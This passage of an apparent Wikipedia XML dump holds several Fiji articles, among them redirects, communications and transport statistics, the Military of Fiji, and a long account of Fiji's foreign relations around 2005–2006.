        <id>1300</id>
      </contributor>
      <comment>redirect to history of fiji</comment>
      <text xml:space="preserve">#REDIRECT [[History of Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Fiji/Geography</title>
    <id>10656</id>
    <revision>
      <id>15908455</id>
      <timestamp>2002-06-01T20:36:36Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Fiji/People</title>
    <id>10657</id>
    <revision>
      <id>15908456</id>
      <timestamp>2002-08-20T14:46:17Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Fiji/Government</title>
    <id>10658</id>
    <revision>
      <id>15908457</id>
      <timestamp>2002-10-10T17:07:29Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Politics_of_Fiji]]</comment>
      <text xml:space="preserve">#REDIRECT [[Politics_of_Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Fiji/Economy</title>
    <id>10659</id>
    <revision>
      <id>15908458</id>
      <timestamp>2002-06-01T20:41:17Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Fiji</title>
    <id>10660</id>
    <revision>
      <id>37394782</id>
      <timestamp>2006-01-30T19:37:11Z</timestamp>
      <contributor>
        <username>ZachPruckowski</username>
        <id>626251</id>
      </contributor>
      <minor />
      <text xml:space="preserve">This article lists '''[[communication|communications]] in [[Fiji]]'''.

; Telephones - main lines in use:
: 65,000 (1995)
; Telephones - mobile cellular:
: 100,000 (2004)
; Telephone system:
: Modern local, interisland, and international (wire/radio integrated) public and special-purpose telephone, telegraph, and teleprinter facilities; regional radio communications center
:* Domestic: NA
:* International: Access to important cable links between US and Canada as well as between NZ and Australia; satellite earth station - 1 Intelsat (Pacific Ocean)
; Radio broadcast stations:
: AM 13, FM 40, shortwave 0 (1998)
; Radios:
: 500,000 (1997)
; Television broadcast stations:
: NA
; Televisions:
: 21,000 (1997)
; Internet Service Providers (ISPs):
: 2 (1999)
; [[Country codes|Country code (TLD)]]:
: FJ

See also: [[Fiji]]

[[Category:Communications by country|Fiji]]
[[Category:Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Fiji</title>
    <id>10661</id>
    <revision>
      <id>39076439</id>
      <timestamp>2006-02-10T15:30:50Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Oceania in topic|Transport in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
&lt;br&gt;''total:''
597 [[kilometre|km]]; note - belongs to the government-owned [[Fiji Sugar Corporation]]
&lt;br&gt;''narrow gauge:''
597 km 0.610-[[Metre|m]] gauge (1995)

'''[[Highway]]s:'''
&lt;br&gt;''total:''
3,440 km
&lt;br&gt;''paved:''
1,692 km
&lt;br&gt;''unpaved:''
1,748 km (1996 est.)


'''Waterways:'''
203 km; 122 km navigable by motorized craft and 200-[[Ton|metric-ton]] [[Barge|barges]]

'''[[Seaport]]s and [[harbor]]s:'''
[[Labasa]], [[Lautoka]], [[Levuka]], [[Savusavu]], [[Suva]]

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
6 ships (1,000 GRT or over) totaling 11,870 GRT/14,787 DWT
&lt;br&gt;''ships by type:''
chemical [[Tanker (ship)|tanker]] 2, passenger 1, petroleum tanker 1, roll-on/roll-off 1, specialized tanker 1 (1999 est.)

'''[[Airport]]s:'''
25 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
22
&lt;br&gt;''914 to 1,523 m:''
5
&lt;br&gt;''under 914 m:''
17 (1999 est.)

:''See also :'' [[Fiji]]

{{Oceania in topic|Transport in}}

{{Oceania-stub}}
[[Category:Transport in Fiji| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Fiji</title>
    <id>10662</id>
    <revision>
      <id>31801033</id>
      <timestamp>2005-12-18T02:25:41Z</timestamp>
      <contributor>
        <ip>68.74.66.158</ip>
      </contributor>
      <text xml:space="preserve">{{Military
| color=#99CCFF
| age=18 years of age for voluntary military service (2001)
| availability=239,221 (2004 est.)
| service=131,349 (2004 est.)
| reaching age=9,302 (2004 est.)
| active=
| amount=$32 million (2003)
| percent GDP=2.2% (FY02)
}}

The '''Republic of Fiji Military Forces''' (RFMF), with a total manpower of only 3500 men, is one of the smallest in the world. The 2950 men in the active army are organized into six infantry and one engineer battalions, with 350 reserves forming a further three. There is one &quot;Zulu&quot; company of [[Counter-revolutionary Warfare Unit (Fiji)|counter-revolutionary specialists]]. Army Aviation operates two helicopters. 

The first two regular battalions of the [[Fiji Infantry Regiment]] are traditionally stationed overseas under UN supervision; recent posts included [[Lebanon]], [[Sinai]], [[Iraq]], and [[East Timor]]. The third battalion is stationed in the capital, [[Suva]], and the remaining three are spread throughout the islands.

== The Fijian Navy ==

The military includes a 300-men strong Navy, which on [[25 July]] [[2005]] celebrated the thirtieth anniversary of its founding.  It was formed in [[1975]], following the government's ratification of the [[United Nations Law of the Sea]] convention.  The Navy is responsible for maritime needs in border control, such as watching over Fiji's exclusive economic zone and organizing task and rescue missions.  It currently operates 9 patrol boats. Military aid is received from [[Australia]], [[China]], and the [[United Kingdom]]. 

Speaking at 30th anniversary celebrations on [[26 July]], [[Commander]] [[Bradley Bower]] said that the greatest challenge facing the navy of a maritime country like Fiji was to maintain sovereignty and the maritime environment, to acquire, restore, and replace equipment, and to train officers to keep pace with changing situations.

== Organization ==

*'''Commander RFMF''' - The Commander RFMF is of [[Brigadier General]] rank. He is assisted by the Deputy Commander and the Chief of Staff, who are responsible for Strategic Command and Land Force Command. The current Commander is [[Commodore (rank)|Commodore]] [[Frank Bainimarama]].
**'''Strategic Command''' - Strategic Command is responsible for all of the long term and strategic concerns of the RFMF, including welfare, legal issues, sustainability issues etc.
**'''Land Force Command''' - Land Force Command is the operational organisation of the RFMF, and is responsible for all of the main units:
***HQ Land Force Command
***Land Force Battalion
***Naval Unit
***Fiji Infantry Regiment
****Regular Force
*****1st Battalion (Peacekeeping in [[Lebanon]] and [[Iraq]])
*****2nd Battalion (Peacekeeping in [[Sinai Peninsula|Sinai]])
*****3rd Battalion (Founded in [[Lautoka]] in [[1943]]; now based in [[Suva]]).
****Territorial Force
*****4th Battalion ([[Nadroga-Navosa Province, Fiji|Nadroga, Navosa]] and [[Nadi]], especially [[Nadi Airport]] facilities.  Normally under the operational command of the Third Battalion).
*****5th Battalion ([[Lautoka]], [[Ba, Fiji|Ba]], [[Tavua]], [[Vatukoula]], [[Ra, Fiji|Ra]].  Normally under the operational command of the Third Battalion).
*****7th/8th Battalion ([[Vanua Levu|Vanua Levu Island]]; normally under the operational command of the Third Battalion).
***Fiji Engineer Regiment
***Logistic Support Unit
***Force Training Group

== Political controversies ==

Fiji's Military has a history of political intervention.  In [[1987]], soldiers were responsible for [[Fiji coups of 1987|two military coups]], and in [[2000]], the Military organized a countercoup to quash [[George Speight]]'s [[Fiji coup of 2000|civilian coup]].  Since [[2000]], the Military has had [[Military unrest since the Fiji coup of 2000|a sometimes tense relationship]] with the [[Laisenia Qarase|Qarase]] government, and [[Military opposition to the Reconciliation, Tolerance, and Unity Bill (Fiji)|has strongly opposed its plans]] to establish a [[Reconciliation and Unity Commission (Fiji)|Commission]] with the power to compensate victims and pardon perpetrators of the coup.  Among other objections, the Military claims that its integrity and discipline would be undermined if soldiers who [[Fiji coup of 2000:Mutinies|mutinied]] in the [[2000]] upheaval were to be pardoned. 

On [[4 August]] [[2005]], [[Leader of the Opposition (Fiji)|Opposition Leader]] [[Mahendra Chaudhry]] called for more [[Indo-Fijian]]s, who presently comprise less than one percent of the Military personnel, to be recruited.  This would help guarantee political stability, he considered.  He also spoke against government plans to downsize the military.  Military spokesman [[Lieutenant Colonel]] [[Orisi Rabukawaqa]] responded [[5 July|the next day]] by saying that the Military was not an ethnic Fijian body, that it stood to serve the entire nation, and that there was no colour bar in its recruitment or promotion.  He said that many Indo-Fijians had been reluctant to commit themselves to a Military career because of the slow progress of promotion, often preferring to be discharged and to use their record as a stepping stone to a successful career in some other field.  Nevertheless, he appreciated the Indo-Fijian contribution to the Military, and noted the success of [[Lieutenant Colonel]] [[Mohammed Aziz]], the head of the Military's legal unit who was a pivotal figure in the [[court martial]] of soldiers who [[Fiji coup of 2000:Mutinies|mutinied]] in [[2000]].

On [[26 August]] [[2005]], the government announced plans to study ways to reduce the size of the military.  Military engineers would be transferred to the Regional Development Ministry, said Home Affair Minister [[Josefa Vosanibola]], and the reduction of the Military forces would coincide with an increase in the numbers of the police force. 

On [[26 September]] [[2005]], Rabukawaqa revealed that the Military had decided to curtail certain operations in order to stay within its budget.  The cuts would affect maritime patrols, search and rescue operations, training and exercises, School Cadet training, and the deployment of Military engineers to rural areas.  These cuts would be made to ensure that activities accorded a higher priority, such as [[peacekeeping]] operations in the [[Sinai Peninsula]] and [[Iraq]], officer cadet training with the [[New Zealand]] [[Military of New Zealand|Defence Forces]], and the prosecution of soldiers charged with mutiny, would not be affected, Rabukawaqa said.  

The next day, [[Lesi Korovavala]], Chief Executive Officer of the Ministry of Home Affairs, told the [http://Fijivillage.com Fiji Village] news service that the Military had undertaken the reductions on its own initiative, in consultation with the department, an explanation corroborated by Lieutenant Colonel Rabukawaqa.

== See also ==

*[[Fiji]]
*[http://www.rfmf.mil.fj/ Official RFMF website]

[[Category:Fiji]]
[[Category:Militaries|Fiji]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Fiji</title>
    <id>10663</id>
    <revision>
      <id>41448504</id>
      <timestamp>2006-02-27T11:09:54Z</timestamp>
      <contributor>
        <username>Davidcannon</username>
        <id>36171</id>
      </contributor>
      <comment>/* Relations with South Africa */ HC to be established</comment>
      <text xml:space="preserve">{{Politics of Fiji}}

[[Fiji]] maintains an independent, but generally pro-Western, foreign policy. It has traditionally had close relations with the [[United Kingdom]], as well as with its major trading partners [[Australia]] and [[New Zealand]].  These relations cooled after both the [[Fiji coups of 1987|1987]] and [[Fiji coup of 2000|2000]] coups, and Fiji was suspended for a time from the [[Commonwealth of Nations]], a grouping of mostly former [[British Empire|British colonies]].  It was readmitted to the Commonwealth in December [[2001]], following the [[Fiji election of 2001|parliamentary election]] held to restore democracy in September that year.  Other Pacific Island governments have generally been sympathetic to Fiji's internal political problems and have declined to take public positions.

Fiji became the 127th member of the [[United Nations]] on [[October 13]], [[1970]], and participates actively in the organization. Fiji's contributions to UN peacekeeping are unique for a nation of its size. It maintains nearly 1,000 soldiers overseas in UN peacekeeping missions, mainly in the [[Middle East]].

Since independence, Fiji has been a leader in the [[Oceania|South Pacific]] region, and has played a leading role in the formation of the [[South Pacific Forum]].  Fiji has championed causes of common interest to [[Pacific Islands|Pacific Island]] countries.

== Diplomatic and trade developments ==
As of [[2005]], Fiji has become embroiled in a number of disagreements with other countries, including the [[United States]], [[Australia]], [[New Zealand]], [[China]], and [[Vanuatu]].  

=== Tensions with the United States ===
On [[2 March]] [[2005]], [[List of Prime Ministers of Fiji|Prime Minister]] [[Laisenia Qarase]] strongly reacted to a [[U.S. State Department]] report criticizing Fiji for practicing racial discriminiation, and for the racial divide between Fiji's two main [[List of political parties in Fiji|political parties]], the [[United Fiji Party]] (mostly [[Fijian people|indigenous Fijian]]) and the [[Fiji Labour Party]] (mostly [[Indo-Fijian]]).  ''&quot;Fiji can make a similar report on the US on all those issues. Our report would be far worse than the [[US State Department]]'s report on Fiji,&quot;'' he said.  He went on to rebuke the United States for interfering in Fiji's &quot;domestic affairs.&quot;

In an interview with the [[Fiji Times]] on [[29 May]] [[2005]], America's outgoing [[Ambassador]] [[David Lyons]] renewed his country's criticism of Fijian policies by criticizing the Qarase government's proposed [[Reconciliation and Unity Commission (Fiji)|Reconciliation and Unity Commission]].  Lyons expressed concern that its provisions for amnesty for persons convicted of involvement in the [[Fiji coup of 2000|coup d'etat]] that overthrew the elected government in [[2000]] would encourage further coups in the future.  ''&quot;If a democratic society doesn't make it clear that the violent over-throw of its elected leaders is a crime against that society, I have to think that it is inviting future upheaval,&quot;'' he said.  He also condemned statements of public figures predicting coups if they, their party, or their race is not successful in the [[Fiji election of 2006|next parliamentary election]], saying that such threats were ''&quot;absolutely despicable in a free, democratic society&quot;'' and constituted ''&quot;the worst form of scaremongering.&quot;''

Lyons said that the amnesty for perpetrators of the [[Fiji coups of 1987|1987 coups]] had been an error of judgement and had set a precedent which could negatively affect the future unless stopped now.  He concurred with statements made by a number of Fijian politicians, including deposed Prime Minister [[Mahendra Chaudhry]] and [[Senate (Fiji)|Senator]] [[Koila Nailatikau|Adi Koila Nailatikau]], that a coup culture had taken root in Fiji.  He warned that tourism, which forms the mainstay of the [[Economy of Fiji|Fijian economy]], would be adversely impacted by any further instability.  He believed, he said, that the Qarase government was sincere in its commitment to democracy, and acknowledged positive steps taken by the government to restore the rule of law.  He added a word of caution, however: ''&quot;All of these positive steps ... will vanish in an instant if there is another coup or sufficient political upheaval questioning the legitimacy of future elections.&quot;''

On [[12 July]], however, Lyons cautioned the Fijian Military against using the legislation as a pretext for a coup d'état.  Their concern over the proposed law was understandable, he said, but it did warrant the overthrow of the government.  ''&quot;Extra constitutional action against a duly elected democratic government ... is unacceptable,&quot;'' he said.  A coup would be detrimental not only to Fiji, but to the entire Pacific region, Lyons said.

=== Relations with Australia ===
On [[13 April]] [[2005]], Qarase rejected criticism from [[Australia]] and some other countries over the prosecution and imprisonment of two foreigners charged with committing [[homosexuality|homosexual]] acts, which are illegal in Fiji, and said that other countries needed to respect Fiji's independence.  Qarase said that as member of the United Nations, Fiji was as entitled as any other country to make its own laws as it saw fit.

The Australian government has taken a more measured position than its [[New Zealand]] counterpart (q.v.) over the controversial [[Reconciliation and Unity Commission (Fiji)|Reconciliation, Tolerance, and Unity Bill]] currently being debated in the Fijian [[Parliament (Fiji)|Parliament]].  [[Susan Boyd]], a former Australian [[High Commissioner]] to Fiji, has strongly criticized the legislation, but [[Foreign Minister of Australia|Foreign Minister]] [[Alexander Downer]] has said that it is an &quot;internal matter&quot; and that Australia does not want to get involved.  He did, however, condemn recent threats from the [[Military of Fiji|Military]] commander, [[Commodore (rank)|Commodore]] [[Frank Bainimarama]], to declare [[martial law]] and arrest members of the present government if the bill is passed.  The Australian High Commission in Suva told Bainimarama that his threats are not ''&quot;the proper role for the military in a democracy.&quot;''

Australian [[Foreign Minister of Australia|Foreign Minister]] [[Alexander Downer]] visited Fiji for two days of talks, from [[28 September|28]]-[[30 September]] [[2005]]. Downer met government ministers and officials, [[Leader of the Opposition (Fiji)|Opposition Leader]] [[Mahendra Chaudhry]], and [[Military of Fiji|Military]] commander [[Commodore (rank)|Commodore]] [[Frank Bainimarama]].  The talks covered the controversial Unity bill, as well as the future of Fiji's preferential trade access to the Australian market, which the Fijian government regards as a priority.  Downer said that he intended to elaborate further on [[List of Prime Ministers of Australia|Prime Minister]] [[John Howard]]'s promise of a seven-year extension of the [[SPARTECA-TCF]] scheme, which assists Fiji's textile, clothing, and footwear industry.

Foreign Minister Tavola expressed grave concern on [[7 February]] [[2006]] about a proposed [[Regional Trade Agreement]] (RTA) between Australia and China, saying that Fiji's exports to Australia would be unable to compete with Chinese products.  For that reason, Fiji was persisting in its efforts to persuade Australia to renew the [[South Pacific Regional Trade and Economic Cooperation]] - Textile Clothing Footwear ([[SPARTECA-TCF]]) scheme, to improve the competitiveness of Fijian exports, the [[Fiji Live]] news service reported.

=== Relations with China and Taiwan ===
&lt;!--This section will soon be moved to an article of its own, but please leave it intact for now. ~~~--&gt;
A diplomatic row with the [[People's Republic of China]] erupted on [[5 May]] [[2005]], when [[Republic of China|Taiwan (ROC)]] [[President of the Republic of China|President]] [[Chen Shui-bian]] arrived for a private visit and was welcomed at a private function at [[Suva]]'s [[Sheraton Resort (Fiji)|Sheraton Resort]] by [[List of Vice-Presidents of Fiji|Vice-President]] [[Ratu]] [[Joni Madraiwiwi]], [[Ratu]] [[Ovini Bokini]] ([[List of Chairmen of the Great Council of Chiefs (Fiji)|Chairman]] of the [[Great Council of Chiefs (Fiji)|Great Council of Chiefs]]), [[President of the Senate (Fiji)|Senate President]] [[Taito Waqavakatoga]] and several other [[Senate (Fiji)|Senators]] and [[House of Representatives (Fiji)|MPs]], and several judges including [[Chief Justice (Fiji)|Chief Justice]] [[Daniel Fatiaki]].  [[List of Foreign Ministers of Fiji|Foreign Minister]] [[Kaliopate Tavola]] asserted that those who attended the welcoming ceremony did so ''&quot;of their own accord,&quot;'' not as government representatives, and that Prime Minister Qarase's presence in the same hotel where President Chen was staying was purely &quot;coincidental.&quot;  Chinese [[Ambassador]] [[Cai Jin Biao]] rejected this explanation, and said that the visit was a violation of the [[One China Policy]], to which Fiji had agreed when diplomatic relations were established in [[1975]], which would ''&quot;sabotage relations between China and Fiji.&quot;''  He charged that Prime Minister Qarase and Foreign Minister Tavola had known of the upcoming visit for months.  The embassy issued a further statement on [[7 May]], demanding that Fiji discontinue any effort to establish a dialogue with Taiwan.

The row escalated when, on [[16 May]], Health Minister [[Solomone Naivalu]] voted in support of Taiwan's bid to gain observer status at the [[World Health Assembly]] in [[Geneva]].  Naivalu had apparently done so on his own initiative, contrary to a government briefing, sparking a major public disagreement between himself and Foreign Minister Tavola.  [[Jia Qinglin]], chairman of the [[People's Political Consultative Conference]] (CPPCC), was dispatched to Fiji and met Prime Minister Qarase during a brief stopover on [[21 May|21]]-[[22 May]], a move that Tavola said was not coincidental.  He said that Fiji could not afford to lose China, and that the government would ensure that &quot;careless incidences&quot; like Naivalu's vote in Geneva would not recur.  Naivalu responded by saying that his vote was nothing new: ''&quot;We always support Taiwan to get observer status every year,&quot;'' he said.

On [[10 December]] [[2005]], the [[New Zealand Herald]] quoted Tavola as saying that Fiji would have to find a way to resolve a stand-off between the PRC and Taiwan, over membership of the Suva-based [[Council of South Pacific Tourism Organisation]]; China was resisting Taiwanese attempts to join the organization on an equal basis.  [http://www.nzherald.co.nz/section/story.cfm?c_id=2&amp;ObjectID=10359277 ''&quot;If China had its way it would not want Taiwan on that. So we have to resolve the situation amicably and are looking at how both countries can be represented there,&quot;']Tavola said.  

In defence of the earlier incident over the Taiwanese President's visit, Tavola said that it was the Pacific way to welcome people.  ''&quot;Even when considering Taiwan as a province of China,'' he went on, ''the President of a province is a man of high profile, so when he comes there is an urge to extend hospitality.&quot;''  It did not signify any modification to Fiji's adherence to the One China policy, he had explained to the Chinese ambassador.

China has invested in a number of major projects in Fiji.  These include the Suva sports stadium, built for the [[South Pacific Games]] of [[2003]].

On [[14 December]] [[2005]], Fiji's [[Military of Fiji|Military]] Commander, [[Commodore (rank)|Commodore]] [[Frank Bainimarama]] began an official visit to China, at the invitation of the [[People's Liberation Army]].  He reaffirmed Fiji's support for the One China policy.

It was announced on [[24 January]] [[2006]] that Chinese [[Premier of the People's Republic of China|Premier]] [[Wen Jiabao]] would visit Fiji in [[April 2006|April]] to open the China-Pacific Islands Countries Economic Development &amp; Cooperation Forum Ministerial Conference 2006 at Sofitel Fiji Resort in Nadi, a conference of economic and trade ministers from Pacific island countries.  Six Prime Ministers from neighbouring countries are expected to participate, according to a [[Fiji Times]] report on [[23 February]].  His visit to Fiji will be the first by a senior Chinese government official.

In an interview with [[PACNEWS]] on [[1 February]] [[2006]], [[Jeremaia Waqanisau]], Fiji's [[Ambassador]] to [[Beijing]], made a stinging attack on the efficiency of the Fijian civil service, saying that it negatively affected Fiji's ability to present itself to China.  [[Cabinet (Fiji)|Cabinet Ministers]] visited China without the Fijian [[embassy]] being informed, he complained.  Certain civil servants were extremely passive in their dealings with China, he said.  Another factor inhibiting Chinese investment was the [[Fiji crisis of 2005-2006|instability caused by friction between the government and the Military]], he surmised, and the Fijian embassy in Beijing was continually engaged in damage control.

=== Relations with New Zealand ===
On [[10 June]] [[2005]], Foreign Minister Tavola signed a '''Memorandum of Understanding''' with his [[New Zealand]] [[Minister of Foreign Affairs (New Zealand)|counterpart]], [[Phil Goff]], aimed at fostering cooperation in the fight against [[terrorism]].  Meanwhile, New Zealand's [[List of Prime Ministers of New Zealand|Prime Minister]] [[Helen Clark]] announced that New Zealand would double its annual aid to Fiji, from NZ$4 million to NZ$8 million.  Much of this aid, the Fijian government revealed, would be used for poverty alleviation and squatter resettlement.

New Zealand's Foreign Minister [[Winston Peters]] (who replaced Goff in late [[2005]]) flew into Fiji on [[8 February]] [[2006]] for three days of talks with Fijian government officials. He met Prime Minister Qarase, [[Minister for Finance (Fiji)|Finance Minister]] [[Ratu]] [[Jone Kubuabola]], and [[Military of Fiji|Military]] Commander [[Commodore (rank)|Commodore]] [[Frank Bainimarama]] on the first day of his visit; meetings with Foreign Minister Tavola and [[House of Representatives (Fiji)|House of Representatives]] [[Speaker of the House of Representatives (Fiji)|Speaker]] [[Ratu]] [[Epeli Nailatikau]] were held later. The meeting with Bainimarama attracted some media attention; Bainimarama said that the meeting had been approved by Prime Minister Qarase and that there was nothing underhand about it. 

The talks are to cover such matters as the [[Pacific Plan]] and a cost-sharing agreement for a citizen education project, promoted by the [[United Nations Development Programme]].

=== Concern over reduced British presence ===
Foreign Minister Tavola expressed concern on [[11 July]] about moves by the [[United Kingdom|British]] government to reduce its presence in the Pacific region.  ''&quot;We were not happy with that and on occasions, informed them of the folly of their decision to downsize their presence in the Pacific,&quot;'' Tavola said.  Britain has already closed its [[consulate]] in [[Kiribati]] and plans to close its missions in [[Tonga]] [[2005|this year]] and [[Vanuatu]] [[2006|next year]].  Britain has also withdrawn from the [[Secretariat of the Pacific Community]], a regional organization of which it was a founding member and a major donor.

Tavola said the British withdrawal could create a power vacuum which others could exploit.  A new [[Cold War]] era could come to the Pacific region, he said, with rivalries between [[China]] and [[Taiwan]], as well as between China and [[Japan]].

=== Trade war with Vanuatu ===
* ''More on [[n:Fiji &quot;running out of patience&quot; with Vanuatu over ban on Fijian biscuits|Wikinews]].''

On [[11 March]] [[2005]], [[Vanuatu]] imposed a ban in biscuit imports, ostensibly to protect its own biscuit manufacturing industry, giving a monopoly on the business to the [[Santo]]-based [[Wong Sze Sing]] store.  The ban was the second in a year.  Bread and breakfast cereals produced by [[Flour Mills of Fiji]] (FMF) were the worst-hit; the company claimed to be losing [[Fijian dollar|F$2 million]] annually.

Fiji retaliated on [[13 June]] with a threat to impose a total commercial embargo on Vanuatu.  Major income-earners for Vanuatu targeted by the Fijian government include Vanuatu [[kava]], valued at almost [[United States Dollar|US$]]3.2 million, and [[Air Vanuatu]] flights ([[United States Dollar|US$]]8 million).

On [[29 June]], Foreign Minister Tavola said that Fiji was ''&quot;running out of patience&quot;'' and that he was writing to the government of Vanuatu in what he called a ''&quot;final gesture of friendship.&quot;''

On [[27 July]], Vanuatu's Trade Minister [[James Bule]] signed an order lifting the ban, effective from [[22 July]].  No reason was given for the change of policy, but the [[Fiji Live]] news service reported that the decision averted a lawsuit from FMF and the threatened kava ban.

Fiji's Foreign Affairs chief executive officer, [[Isikeli Mataitoga]], said that Fiji's policy of pursuing diplomatic channels in dealing with such disputes had been vindicated.  ''&quot;Whilst I agree that it can take a bit of time to see it through carefully, it nevertheless, demonstrates to our regional friends that we are principled in our approach to international relations and diplomacy,&quot;'' Mataitoga said.

There was another twist on [[28 July]], however, when FMF Chairman [[Hari Punja]] called the lifting of the ban a fabrication.  He said that in place of the ban, the Vanuatu government had introduced a restrictive new quota system for imports which would make it &quot;impossible&quot; to export to Vanuatu.  He called on the Fijian government to continue to pressure its Vanuatu counterparts.

Foreign Minister Tavola denounced the latest move of the Vanuatu government on [[3 August]], saying that it breached an agreement.  On [[9 August]], he announced that the government had decided to go ahead with its threatened embargo against the importing of Vanuatu kava.  On [[16 August]] the [[Cabinet (Fiji)|Cabinet]] finalized the decision, banning all imports of Vanuatu kava for six months, after which the ban would be reviewed.  On [[18 August]], [[Fiji Islands Revenue and Customs Authority]] chief executive [[Tevita Banuve]] said that importers would be given two weeks to clear their kava stock from the wharf.  A special license would be granted only to clear the stock, he said.  It would not be usable for importing more kava.

On [[27 August]], Tavola announced that following negotiations at the [[Melanesian Spearhead Group]] meeting in [[Papua New Guinea]], he expected the Vanuatu government to lift the biscuit ban soon.  If they did so, he said he would ask the [[Cabinet (Fiji)|Cabinet]] to lift the embargo against Vanuatu kava.

The [http://www.Fijivillage.com Fiji Village] news service reported on [[11 October]] that Vanuatu's Trade Minister, [[James Bule]], would visit Fiji on [[25 October]].  The purpose of the visit would be to deliver his government's decision to lift the ban on Fijian biscuits, in return for Fiji lifting its ban on Vanuatu kava.

In return for Vanuatu's lifting of the biscuit ban on [[25 October]], the Fijian government announced on [[7 December]] that it was lifting its kava ban for the sake of freer trade among the members of the [[Melanesian Spearhead Group]] (MSG).

On [[22 December]] [[2005]], Vanuatu's [[Minister for Finance (Vanuatu)|Finance Minister]] [[Willie Rarua]] formally apologized to Fiji's Acting [[Minister for Foreign Affairs (Fiji)|Foreign Minister]], [[Pita Nacuva]], for having imposed the ban.

=== Relations with India ===
* ''See main article: [[India-Fiji relations]]''

Fiji's relationship with [[India]] is often seen by observers against the backdrop of the sometimes tense relations between its [[Fijian people|indigenous people]] and the 38 percent of the population who are of [[Indo-Fijian|Indian descent]].  A major diplomatic event for Fiji in [[2005]] occurred from [[8 October|8]] to [[15 October]], when [[List of Prime Ministers of Fiji|Prime Minister]] [[Laisenia Qarase]] and [[List of Foreign Ministers of Fiji|Foreign Minister]] [[Kaliopate Tavola]] made an official visit to India.

=== Relations with Tonga===
It was reported on [[2 November]] [[2005]] that a territorial dispute was looming between Fiji and [[Tonga]] over a reef lying to the south of both countries.  The people of [[Ono-i-Lau]] in the [[Lau Islands]] archipelago claim that [[Minerva Reef]] is part of their traditional fishing ground.  [[Attorney General (Fiji)|Attorney General]] [[Qoriniasi Bale]] told the [[Lau Islands|Lau]] [[Local government of Fiji|Provincial Council]] that the government had a team of experts preparing a case to be taken to the [[United Nations International Seabed Authority]], which is based in [[Jamaica]].  The reef has also been claimed by [[Tonga]] since [[1972]], and Tonga's [[Surveyor General]], [[Tevita Malolo]], told [[Radio New Zealand]] that Fiji had never contested Tonga's claim until now.

=== Relations with Papua New Guinea ===
* ''See main article: [[Fijian mercenaries in Bougainville, 2005]]''

Relations between Fiji and [[Papua New Guinea]] became strained in [[November 2005]], in the wake of revelations that a number of Fijian citizens, possibly mercenaries, had entered Papua New Guinea illegally and were involved in arming and training a [[separatism|separatist]] [[militia]] on the island of [[Bougainville]].

On a separate matter, PNG Trade and Industry Minister [[Paul Tiensten]] was quoted in [[Fiji Village]] on [[21 February]] [[2006]] as saying that sanctions against Fiji were being considered, following a Fijian refusal of a PNG [[kava]] shipment and an earlier rejection of [[corned beef]] shipped from PNG.

=== Relations with the European Union ===
The [[European Union]] announced on [[3 November]] [[2005]] that it would increase its assistance to Fijian schools from [[2006]] onwards.  The assistance would cover infrastructure and building, as well as supplying schools with running water and telephone services.

=== Relations with South Africa ===
Foreign Minister [[Kaliopate Tavola]] announced on [[15 February]] [[2006]] that [[South Africa]] would be the first [[Africa]]n country to establish a diplomatic mission in Fiji.  Diplomatic relations would open up new opportunities for trade and investment, Tavola said.  On [[27 February]], it was announced that South Africa would be opening a [[High Commission]] in Fiji.

=== Relations with Brazil ===

[[Fiji Live]] reported on [[23 February]] [[2006]] that Fiji's [[United Nations]] [[Ambassador]] [[Isikia Savua]] and his [[Brazil]]ian counterpart [[Ronaldo Mota Sardenberg]] had recently signed a communiqué to establish diplomatic relations.  Savua expressed the hope that Fiji's bio-fuels industry could benefit from Brazilian technology.

== Fijian missions abroad ==
* ''See main article: [[Diplomatic relations of Fiji]]''

Fiji maintains direct diplomatic or [[consul]]ar relations with countries with historical, culrural, or trading ties to Fiji; Ambassadors stationed in such countries are often accredited to neighbouring countries.  Fiji maintains embassies in [[Belgium]] (taking care of Fiji's relations with the entire [[European Union]]), [[China]], [[Japan]], and the [[United States]];  and [[High Commission]]s in [[Australia]], [[India]], [[Malaysia]], [[New Zealand]], [[Papua New Guinea]], and [[New Zealand]] (in keeping with the [[Commonwealth of Nations|Commonwealth]] practice of calling missions in fellow-commonwealth countries High Commissions rather than Embassies).  Fiji also has a Permanent Mission to the [[United Nations]].

== Foreign reaction to Fijian legislation ==
* ''See main article: [[Foreign reaction to the Reconciliation, Tolerance, and Unity Bill (Fiji)|Foreign reaction to the Reconciliation, Tolerance, and Unity Bill]]''

[[Australia]] and [[New Zealand]] have both expressed concern over legislation currently before the Fijian [[Parliament (Fiji)|Parliament]] (as of June [[2005]]), which proposes to establish a [[Reconciliation and Unity Commission (Fiji)|Reconciliation and Unity Commission]], with the power (subject to [[List of Presidents of Fiji|presidential]] approval) to compensate victims and pardon persons convicted of crimes related to the [[Fiji coup of 2000|coup d'état]] which deposed the elected government in [[2000]].

On [[30 August]] [[2005]], [[Commonwealth of Nations|Commonwealth]] Secretary-General [[Don McKinnon]] called on the Fijian government to ensure that the legislation reflected the views of its citizens.  He emphasized, however, that the Commonwealth did not have a position on the bill.

== Fiji and international organizations ==
